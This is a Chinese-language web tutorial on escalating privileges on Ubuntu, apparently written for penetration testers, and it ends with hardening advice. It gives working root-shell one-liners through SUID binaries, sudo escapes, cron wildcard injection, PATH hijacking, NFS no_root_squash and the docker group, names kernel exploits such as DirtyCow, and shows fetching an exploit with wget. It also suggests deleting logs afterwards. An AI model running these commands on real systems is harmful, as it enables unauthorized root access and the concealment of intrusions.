如何利用Ubuntu Exploit提权
导读:Ubuntu 提权利用方法与合规实践 一、合规与准备 仅在取得系统所有者的明确书面授权前提下进行安全测试;未授权测试属于违法行为。 准备隔离环境(如虚拟机/靶场),避免影响生产系统;测试前后做好快照与证据留存。 提权成功后及时清理痕迹(删...
Ubuntu 提权利用方法与合规实践
一、合规与准备
- 仅在取得系统所有者的明确书面授权前提下进行安全测试;未授权测试属于违法行为。
- 准备隔离环境(如虚拟机/靶场),避免影响生产系统;测试前后做好快照与证据留存。
- 提权成功后及时清理痕迹(删除EXP与编译产物、清理日志等),并遵循最小权限原则进行修复与加固。
二、信息收集与漏洞线索
- 系统识别与内核信息:
- 查看发行版与内核:
cat /etc/os-release、lsb_release -a、uname -a、cat /proc/version
- 查看发行版与内核:
- 快速枚举脚本与提权建议:
- 使用自动化脚本收集薄弱点:LinEnum.sh、linuxprivchecker、linux-exploit-suggester-2、BeRoot
- 查询可能被滥用的二进制:
gtfobins.github.io
- 典型检查命令汇总:
- SUID/SGID 文件:
find / -perm -u=s -type f 2> /dev/null - sudo 权限:
sudo -l - 计划任务:
cat /etc/crontab、crontab -l、ls -la /etc/cron.* - 可写敏感文件/目录:
find / -path /proc -prune -o -type f -perm -o+w 2> /dev/null - NFS 共享探测:
showmount -e < IP>、rpcinfo -p < IP>、nmap -sV --script=nfs* < IP>
- SUID/SGID 文件:
三、常见提权路径与利用要点
-
内核漏洞提权
- 思路:匹配内核版本/发行版与已知本地提权EXP,编译后在目标执行。
- 示例:
- Ubuntu 14.04/15.10 上的 overlayfs 本地提权(如 Exploit-DB 37292、39166、39230)
- DirtyCow(CVE-2016-5195):影响广泛,示例编译
gcc -pthread dirty.c -o dirty -lcrypt - Ubuntu 16.04.01–16.04.04 的 eBPF/bpf(2) 提权(CVE-2017-16995,Exploit-DB 45010)
- 风险:内核利用可能导致系统不稳定或崩溃,务必在可控环境测试。
-
SUID 滥用提权
- 查找:
find / -perm -u=s -type f 2> /dev/null - 典型可被滥用的程序与方式:
find:find /tmp -exec /bin/sh -p \; -quitvim:vim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'bash:bash -p- 老旧
nmap交互模式:在 SUID 位下执行!sh获取 root shell。
- 查找:
-
sudo 配置错误提权
- 检查:
sudo -l - 若输出含 NOPASSWD: ALL 或允许以 root 身份执行某些命令,可直接提权:
sudo /bin/bash、sudo su -- 或利用被允许的命令链(如
sudo vim/sudo less/sudo awk)逃逸到 root shell。
- 检查:
-
计划任务与环境变量劫持
- 计划任务:
- 可写脚本:向
/etc/cron.*或/etc/crontab中脚本写入提权命令,等待执行 - 通配符注入:如
tar czf /backups/backup.tar.gz *,创建恶意文件触发命令执行
- 可写脚本:向
- 环境变量劫持(PATH 投毒):
- 条件:SUID 程序内部调用外部命令(如
cat、ls) - 方法:在可写目录创建同名程序(如
./cat内容为/bin/sh),并将该目录置于$PATH首位后执行 SUID 程序。
- 条件:SUID 程序内部调用外部命令(如
- 计划任务:
-
服务与共享配置错误
- NFS(no_root_squash):
- 在攻击机挂载目标 NFS 共享,创建 SUID shell(
cp /bin/bash /mnt/shell; chmod u+s /mnt/shell) - 目标机执行
/mnt/shell -p获取 root
- 在攻击机挂载目标 NFS 共享,创建 SUID shell(
- Docker 组:
- 若用户在 docker 组:
docker run -v /:/mnt -it alpine chroot /mnt bash直接获得 root 视角。
- 若用户在 docker 组:
- NFS(no_root_squash):
四、自动化辅助与EXP获取
- 漏洞线索与匹配:
- linux-exploit-suggester-2、LinEnum.sh、linuxprivchecker、BeRoot
- EXP 搜索与下载:
- searchsploit(Kali 内置):
searchsploit linux 4.4.0、searchsploit -x < EDB-ID> - Exploit-DB:按 CVE/Kernel/Ubuntu 版本检索对应本地提权 EXP
- searchsploit(Kali 内置):
- 传输与编译:
- 临时 HTTP 服务:
python3 -m http.server 80 - 目标机下载:
wget http://< IP> /exp.c - 编译:
gcc exp.c -o exploit(必要时加-pthread、-lcrypt等参数)。
- 临时 HTTP 服务:
五、防护与修复建议
- 及时更新内核与系统软件包,修补已公开漏洞(如 overlayfs、eBPF、DirtyCow 等)。
- 严格控制 SUID/SGID:移除不必要的 SUID 位,或以最小权限重写功能。
- 规范 sudoers:遵循最小权限,避免 NOPASSWD: ALL;仅授权必要命令与参数。
- 加固 计划任务:脚本与目录最小权限;避免通配符注入;隔离可写目录。
- 安全 NFS:默认禁用或慎用 no_root_squash;限制来源与权限。
- 容器与特权:避免将普通用户加入 docker 等高特权组;必要时启用 rootless 模式与细粒度授权。
- 持续巡检:定期运行 LinEnum、linux-exploit-suggester-2 等基线检查,建立补丁与配置变更流程。
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: 如何利用Ubuntu Exploit提权
本文地址: https://pptw.com/jishu/759475.html
